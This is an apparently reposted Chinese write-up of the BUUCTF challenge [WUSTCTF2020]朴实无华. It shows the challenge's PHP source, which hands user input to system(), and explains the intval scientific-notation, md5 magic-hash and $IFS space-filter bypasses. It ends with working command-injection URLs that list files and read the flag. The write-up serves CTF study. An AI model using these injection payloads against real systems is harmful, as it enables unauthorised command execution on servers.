BUUCTF:[WUSTCTF2020]朴实无华

Posted 末 初

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF:[WUSTCTF2020]朴实无华相关的知识,希望对你有一定的参考价值。


首先在robots.txt下发现/fAke_f1agggg.php


访问有一个假的flag,但是在响应头中找到一个提示,另外还有一个值得注意的是这里是PHP/5.5.38


访问fl4g.php得到

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num']))
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021)
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    else
        die("金钱解决不了穷人的本质问题");
    
else
    die("去非洲吧");

//level 2
if (isset($_GET['md5']))
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
else
    die("去非洲吧");


//get flag
if (isset($_GET['get_flag']))
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," "))
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    else
        die("快到非洲了");
    
else
    die("去非洲吧");

?> 

PHP5中的intval()函数中科学计数法符号e无效,只会当作正常字符处理

PS D:\\phpstudy_pro\\Extensions\\php\\php5.5.9nts> .\\php.exe -v
PHP 5.5.9 (cli) (built: Feb  5 2014 11:04:12)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
PS D:\\phpstudy_pro\\Extensions\\php\\php5.5.9nts> .\\php.exe -r "var_dump(intval('2e4'));"
int(2)
PS D:\\phpstudy_pro\\Extensions\\php\\php5.5.9nts> php -v
PHP 7.4.3 (cli) (built: Feb 18 2020 17:29:57) ( NTS Visual C++ 2017 x64 )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies
    with Zend OPcache v7.4.3, Copyright (c), by Zend Technologies
    with Xdebug v2.9.8, Copyright (c) 2002-2020, by Derick Rethans
PS D:\\phpstudy_pro\\Extensions\\php\\php5.5.9nts> php -r "var_dump(intval('2e4'));"
Command line code:1:
int(20000)
PS D:\\phpstudy_pro\\Extensions\\php\\php5.5.9nts>

所以这里利用科学计数法的符号就可以绕过level 1

level 2直接可参考我的这篇文章:浅谈PHP中哈希比较缺陷问题及哈希强比较相关问题

最后直接绕过空格cat即可

/fl4g.php?num=2e4&md5=0e215962017&get_flag=ls$IFS-lha$IFS./
/fl4g.php?num=2e4&md5=0e215962017&get_flag=tail$IFS./fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

以上是关于BUUCTF:[WUSTCTF2020]朴实无华的主要内容,如果未能解决你的问题,请参考以下文章

[WUSTCTF2020]朴实无华

[WUSTCTF2020]朴实无华

BUUOJ [WUSTCTF2020]朴实无华

BUU-WEB-[WUSTCTF2020]朴实无华

[WUSTCTF2020]Web Writeup(待补充)

BUUCTF MISC刷题笔记